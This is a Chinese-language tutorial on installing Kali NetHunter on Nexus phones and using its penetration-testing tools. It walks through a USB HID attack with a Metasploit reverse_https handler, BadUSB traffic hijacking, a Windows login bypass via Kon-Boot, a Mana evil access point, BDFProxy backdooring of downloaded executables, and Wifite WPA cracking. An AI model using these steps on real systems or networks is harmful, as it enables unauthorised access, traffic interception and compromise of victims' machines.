0x00 前言


许多朋友都希望Hacking套件可以很方便的从PC移植到更便携的手机或平板电脑上,而Offensive Security团队发布的Kali NetHunter则将这一期待变为现实,通过移动终端随时随地进行Hacking,暂且美其名曰口袋Hacking.

Kali NetHunter是以Nexus(手机/平板)为基本硬件设备(新增对1+手机的支持),基于原生Android实现的便携渗透测试平台.熟悉的Kali使其易于上手,而图形化控制界面则使某些测试更易.基于此平台,工程师们也可自由发挥,加入个人项目.

关于NetHunter国内外文章相对较少且重复度高,故在此将其主要实战技巧加以整理介绍,以备各位爱好者参考.由于资料不足,难免出错之处,如有疏漏错误,望不吝赐教.

0x01 硬件支持


NetHunter官网给出以下支持刷入NetHunter的手机:

Nexus 4 (GSM) - "mako"
Nexus 5 (GSM/LTE) - "hammerhead"
Nexus 7 [2012] (Wi-Fi) - "nakasi"
Nexus 7 [2012] (Mobile) - "nakasig"
Nexus 7 [2013] (Wi-Fi) - "razor"
Nexus 7 [2013] (Mobile) - "razorg"
Nexus 10 (Tablet) - "mantaray"
OnePlus One 16 GB - "bacon"
OnePlus One 64 GB - "bacon"

值得一提的是,2015年NetHunter更新,由于1+手机的廉价与高性能,其被加入支持列表.用1+手机的朋友有福了,以下刷机以Nexus5为例.

0x02 刷机流程


官网给出几种刷机方式,推荐使用Windows引导刷机程序安装.下载地址:

https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe

打开安装引导程序,默认路径安装

clip_image001[13]

安装后自动运行NetHunter Installer并更新,进入引导安装步骤

· Step1,选择已有硬件设备型号.

clip_image002[13]

· Step2,安装驱动

clip_image003[13]

clip_image004[12]

可以通过Test Drivers测试是否安装成功

· Step3,安装选项

clip_image001[15]

如已经通过官网下载过刷机包,通过Browser选择文件.下载链接 http://www.offensive-security.com/kali-linux-nethunter-download/ 下载后记得校验SHA1值.至于Android Flash Setting,因为对Android L的支持还未完成,故尚未开放选择.

· Step4,下载文件

clip_image002[15]

如图示,下载所有依赖文件.

clip_image003[15]

所有依赖包都为Ready可进入下一步刷机.

· Step5,解锁设备

clip_image004[14]

解锁bootloader,注意需设置允许USB调试,手机会重启解锁.

· Step6,重置原Android

clip_image005[11]

同样再手机上勾选允许USB调试,注意数据会清空,记得备份.

clip_image006[11]

· Step7,刷入NetHunter

clip_image007[11]

经过上一步重置手机后,需重新开启开发者模式,此时可刷入Kali Linux镜像并对手机进行Root,所需时间相对较长.(注:如镜像推送不成功,可以手工将kali_linux_nethunter_1.10_hammerhead_kitkat.zip复制到/sdcard/download/目录进行INSTALL)

· Final,安装成功

clip_image008[11]

clip_image009[11]

0x03 推荐APP一览


完成系统刷入后,要丰富NetHunter原装工具,可以下载部分安卓APP以配合.以下为个人推荐

· 中文输入法:作为一个汉语狗还是必备的

· 文件管理器(如RootExplorer):Kali某些文件需要通过支持Root权限的文件管理器.

· ShadowSocks:梯子还是要有的

https://github.com/shadowsocks/shadowsocks-android/releases/download/v2.6.2/shadowsocks-nightly-2.6.2.apk

· MiTM工具:

·         zANTI2:虽为商业化限制部分功能,但使用体验的确好些.
·         dSploit:曾经很出名
·         lanmitm:国内安全工作者编写发布的工具
·         Intercepter-NG:嗅探工具 
·         Network Spoofer:自带许多调戏功能

· IPTools:部分常见基本网络工具集合

clip_image010[11]

· ChangeHostname:修改当前手机主机名HostName(还是有必要的).

· WiGLE wifi:War Driving工具,收集无线热点信息,可保存到本地数据库.

· SQLiteEditor:方便读取数据库信息

· Hacker's KeyBoard:NetHunter自带,便于输入各种控制字符

· 远程桌面:NetHunter自带,便于连接VNC服务.

· DriveDroid:NetHunter自带,将手机内镜像模拟为启动盘.

0x04 目录与服务


安装好NetHunter,先要对其目录与服务研究一番.Kali

NetHunter根目录对应安卓系统目录的/data/local/kali-armhf目录

clip_image001[17]

NetHunter自带工具,也多在此目录内.故如有抓包/日志等文件,找不到存放地址,不妨到此目录下寻觅一番(注:需Root权限).另外,NetHunter某些工具运行时的提示的目录,也多以此处为根目录.

通常,截获的数据包等文件存放在NetHunter目录下的Captures目录:

clip_image002[17]

与Kali Linux类似,/usr/share下存放了大部分工具,并建立link,命令行可直接调用.

clip_image003[17]

而Metasploit则依然位于/opt/目录下.

clip_image004[16]

上图中/opt/dic目录则存放有字典文件,可自行补充.

clip_image005[13]

此为/var/www目录,想来大家也知道是何用处了:)

至于服务,Offensive Security团队在新版中加入NetHunter Home以APP的形式管理服务开关,避免了之前版本通过WebServer管理的弊端(比如Web页面调用Google Fonts被墙卡半天 ;)

clip_image006[13]

如图示,NetHunter Home为主页面,除了Offensive Security的Banner,还可以获取当前IP(内网/外网)地址.

clip_image007[13]

Kali Launcher整合了四个启动器:

· 终端打开一个Kali Shell

· 终端打开Kali NetHunter Menu

· 终端打开Wifite进入无线破解

· 更新Kali NetHunter(执行sudo -c bootkali update)

对于NetHunter服务开关控制,则在Kali Service Control面板里进行设置

clip_image008[13]

可看到,NetHunter可开放服务有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.

· SSH服务:Secure Shell,方便其他设备连接控制.

· Dnsmasq服务:DNS解析服务.

· Hostapd服务:提供无线接入点服务.

· OpenVPN服务:开放OpenVPN连入服务.

· Apache服务:WEB服务.

· Metasploit服务:为MSF攻击模块提供保障.

· BeEF FrameWork服务:XSS利用框架服务.

在此面板可对对应服务进行开关设置.

0x05 Kali NetHunter Menu


在NetHunter Launcher中Kali Menu的启动项,其包含整理有NetHunter常用工具,如图:

clip_image009

与上一个版本相比,新增了以下选项:

USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi

主要模块及介绍如下:

Wireless Attacks

· Wifite

自动无线安全审计工具

· Kismet

无线WarDriving工具

· AP F**ker

无线网恶意攻击工具(多为拒绝服务)

· Wash

扫描开启WPS的无线网络

· Airodump-ng

基本无线攻击套件(必备)

· Pingen

针对某些开启WPS的D-link的路由器计算其PIN码以破解

Sniffing/Spoofing

· tcpdump

基本流量Dump工具

· tshark

WireShark的Cli工具,可抓取分析流量

· urlsnarf

Dsniff工具包一部分,可嗅探HTTP请求包内容,并以CLF通用日志格式输出

· dsniff

强大的知名口令嗅探工具包

· MITMproxy

中间代理,可截获修改HTTP流量,参考官网介绍

Reverse Shells

· AutoSSH

通过SSH反弹shell(NAT Bypass)

· pTunnel

通过ICMP数据包隧道传送数据

Info Gathering

· Spiderfoot

开源扫描与信息收集工具,对给定域名收集子域,Email地址,web服务器版本等信息,自动化扫描.

· Recon-ng

强大的信息收集工具,模块化,可惜许多插件国内不适用(有墙).

· Device-pharmer

通过Shodan搜索,大数据Hacking.

Vulnerability Scan

· OpenVas

漏洞扫描器,需额外安装.Kali一直默认包含,好不好用客官自行定夺. :)

Exploit Tools

· Metasploit

强大,核心,必备

· BeEF-XSS

XSS渗透测试工具,看个人习惯使用

· Social-Engineering-Toolkit

Kali下的SET,社会工程学套件,功能强大.

· MITMf

中间人攻击框架,基于Python,拥有多个插件,渗透测试功能强大

OpenVPN Setup

OpenVPN设置

VNC Setup

VNC设置

Log/Capture Menu

可擦除本地所有抓取数据或同步到SD

卡上(同步主要是解决权限问题.比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)

USB Attacks

· Dictionary based brute force attack

自动输入字典一行内容并回车,基于HID,模拟操作方式的暴力破解

· deADBolt

执行一堆ADB命令可以推送隐私文件等信息到指定目录,参考项目主页 https://github.com/photonicgeek/deADBolt

NFC Attack

提供了复制、重写、查看M卡数据功能(是不是不必带上Acr122u了;)

Settings

· 修改时区

· 为Metasploit创建用户和数据库

· 修改MAC地址

· 安装NodeJS

Service

· SSH服务开关

· VNC服务开关

· OpenVPN服务开关

· 在本地启动Xserver

Monitor Mode

启动或关闭wlan1(外置无线网卡)的混杂监听模式

Eject USB Wifi

弹出USB无线网卡

0x06 HID KeyBoard Attack


在过去,USB自启往往依赖插入的USB设备中的autorun.inf实现.时下这招往往不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:

首先运行提供payload的webserver,在Kali Service Control中开启Apache服务器

clip_image001[19]

转到HID攻击配置页面,选择PowerSploit

clip_image002[19]

IP和端口填写MSF监听的IP端口,Payload我们选择windows/meterpreter/reverse_https,URL为提供Apache服务的IP,这里即本机:192.168.1.151

配置好后UPDATE配置文件,接下来需配置MSF监听反弹shell

root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >

payload同HID配置页面中的payload

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

IP和端口同样设置

msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
 
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...

至此配置OK

clip_image003[19]

开始监听

clip_image004[18]

此时将设备连接至PC机,等待设备被识别后,执行Execute,攻击开始.

POWERSHELL命令执行后,就可在msf中看到反弹的shell了:

clip_image005[15]

如连上PC后没有反应,可按Reset USB键更新.

当然,HID KeyBoard Attack也提供了Windows CMD攻击模块,即连入计算机后自动打开CMD并执行指定命令(默认为添加新管理员用户,可自由定制).

0x07 BadUSB MITM Attack


BadUSB Attack是BlackHat大会上公布的一种较先进的USB攻击方式,模拟键盘操作等Payload可自动执行某些操作,而NetHunter的BadUSB MiTM Attack则是其中一种玩法:修改网络设定,劫持网络流量.

关于BadUSB MITM Attack,NetHunter官网有演示视频,详见http://www.nethunter.com/showcase/,但并未交代详细过程,以下笔者操作为例:

首先,确保手机连接目标计算机时,MTP文件传输是关闭的.连接目标计算机,打开手机USB网络共享:

clip_image006[15]

此时在NetHunter Home打开一个Kali Shell,查看网卡多出虚拟网卡rndis0(USB网络共享网卡).

clip_image007[15]

此时可以开启Tcpdump截获流量,命令如:

tcpdump -i rndis0

回到NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项Start BadUSB Attack

clip_image008[15]

被连接的计算机此时会多出一个网卡,网关为rndis0的IP地址

clip_image009[13]

此时流量已可以截获,例如访问某些网站,手机tcpdump处流量显示如图:

clip_image010[13]

因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面.

之前有同学在Drops分享的一片文章Kali Nethunter初体验中提到:

出现双网关现在所以并未像官网演示的那样流量直接走向恶意网关(10.0.0.1)而是依旧走的之前的网关(192.168.1.1)故劫持失败

这种情况也可能出现,不过个人测试中,网络连接优先级,默认劫持后的网关优先级更高,故流量可以正常劫持.也可能是NetHunter今年更新后做的优化,如图示:

clip_image011[11]

当然,配合HID Keyboard Attack进行攻击测试也是很好的方式,至于数据包的保存与分析,则可自行发挥.

0x08 绕过Windows登录认证


NetHunter其实有许多隐藏玩法,比如借助DriveDroid实现Windows登陆绕过密码.

DriveDroid本是个允许通过安卓手机中的ISO/IMG镜像文件引导启动PC机的一个App,但结合了特定的镜像,实现绕过Windows登陆认证就变得可行:)

在此以Win7为例,首先为默认账户创建密码hello.

clip_image012[11]

DriveDroid默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可.

clip_image013[11]

这里绕过Windows或OSX登陆认证的镜像为Kon-Boot.可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统.因为是付费软件,以下以自行寻觅的镜像为例演示.

关闭MTP文件传输,打开DriveDroid,自动列出images目录下得镜像文件.

clip_image014[10]

选择Kon-Boot.img镜像挂载,模式这里选择为Read-Only USB

clip_image015[10]

加载成功后相应镜像有所标志

clip_image016[10]

而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)

clip_image017[9]

此时在设有密码的PC机重启,进入BIOS设置启动项

clip_image018

如果镜像加载成功,可以看到飞奔的图案如下:

clip_image019

之后登陆用户密码处回车即可绕过密码认证登陆系统

clip_image020

需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码.

0x09 WarDriving


犹记得当年前辈们肩扛笔记本做WarDriving的事迹,智能设备发展至今,WarDriving已可用便携设备取代.只是至今迟迟没有寻觅到比较合适直观的WarDriving工具,期待有朋友能开发或推荐个.

在NetHunter下,Kali-Menu的Wireless模块中Kismet作为WarDriving的默认工具,不过操作起来画面太美不敢看:

clip_image021[7]

退而求其次,推荐使用App WigleWifi.不过注

意不要不小心上传数据.使用easy,界面很难看.

clip_image001[21]

好在数据可以以Sqlite数据库格式存储在本地.

0x10 Mana EvilAP蜜罐


想建个CMCC无线网络钓鱼劫持流量?PineApple没有带在身边,不妨拿出手机,开个蜜罐吧. :)

Mana蜜罐采用与PineApple相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击.

需要说明的是,NetHunter无线攻击模块,大都需要使用OTG外接USB无线网卡.主流芯片(可以试试Kali是否可直接识别)网卡均可.WN722N较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知.

clip_image002

Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制.Mana工具安装目录为:

/usr/share/mana-toolkit

启动脚本则在此处存放:

/usr/share/mana-toolkit/run-mana

截获流量文件存放于:

/var/lib/mana-toolkit

通过NetHunter Home的Mana蜜罐页面可方便的对配置文件进行修改:

Hostapd配置文件

clip_image003[21]

DHCP服务配置文件

clip_image004[20]

DNS欺骗配置文件

clip_image005[17]

服务启动脚本有多个,均可自由编辑修改:

clip_image006[17]

上图对应脚本start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb,sslstrip,sslsplit等,截获流量并保存.

clip_image007[17]

start-nat-simple.sh同样有上行流量,但并不启动firelamb,sslstrip,sslsplit等脚本.

clip_image008[17]

start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍.

此外,还有

start-noupstream.sh

Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息.

start-noupstream-eap.sh

Mana同样无法上网,但会进行EAP攻击

编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:

clip_image009[15]

即可启动服务.

0x11 Backdooring Executable Over HTTP


这个攻击思路就比较有趣了,新功能在NetHunter今年1月5号发布的版本中作为Kali Nethunter目前最新最酷炫的玩法,源于secret squirrel的github项目the-backdoor-factoryBDFProxy,可让我们轻松地对使用HTTP协议传送的二进制文件注入shellcode.

首先建立一个Mana蜜罐,SSID这里使用默认名称internet,启动服务

cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh

clip_image010[15]

再开一个Shell,编辑bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的payload,可自行更换.不过由于显示问题,用nano编辑文本会一行行刷新,还是换个方式编辑比较好.这里只把IP修改192.168.1.151,也可在Nethunter的主面板下的MANA Evil Access Point中进行配置.

nano /etc/bdfproxy/bdfproxy.cfg

配置好IP之后,在Shell中直接输入bdfproxy运行之.

再新开一个Shell启动Metasploit

clip_image011[13]

一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载everything(神器啊)演示:

clip_image012

运行everthing,因为注入了payload,会出现自校验失败的提示

clip_image013[13]

查看MSF,已成功反弹回Shell了.而上面自校验失败的提示就是MeterPreter的screenshot帮我截取的 :)

clip_image014[12]

不得不说,这个新特性真的很Cool.

0x12 Wifite破解


写到最后,还没有提到无线破解是不科学的;) NetHunter推荐的Wifite破解工具是其最早集成的功能之一.移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解.不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机.

连接好外置无线网卡后,在Nethunter主菜单选择Launch Wifite即可进入

clip_image015

选择开启混杂监听模式的网卡,选择Wlan1

clip_image016

扫描开始,每5秒更新一次,当确认攻击目标后CTRL+C停止扫描

clip_image017[11]

输入攻击目标序号,这里就选XDSEC-WIFI了,输入2

clip_image018[7]

抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出

clip_image019[7]

抓到的握手包存放在/data/local/kali-armhf/HS目录下,命名规则是SSID+MAC

clip_image020[7]

如果目标开启WPS,则自动进行PIN码破解.

Wifite相对傻瓜化,易操作,适合移动终端.对无线网密码测试笔者也成功过几次,连入无线后结合zANTI等工具调戏即可:)

0x13 写在最后


文末,已将NetHunter大部分实战玩法进行相应介绍,文章为卷毛zing同学与顺毛le4f同学共同编写,能力有限,如有不足之处望指出.抛砖引玉,期待有更多技巧分享.

via http://drops.wooyun.org/tips/4634

源链接

Hacking more

...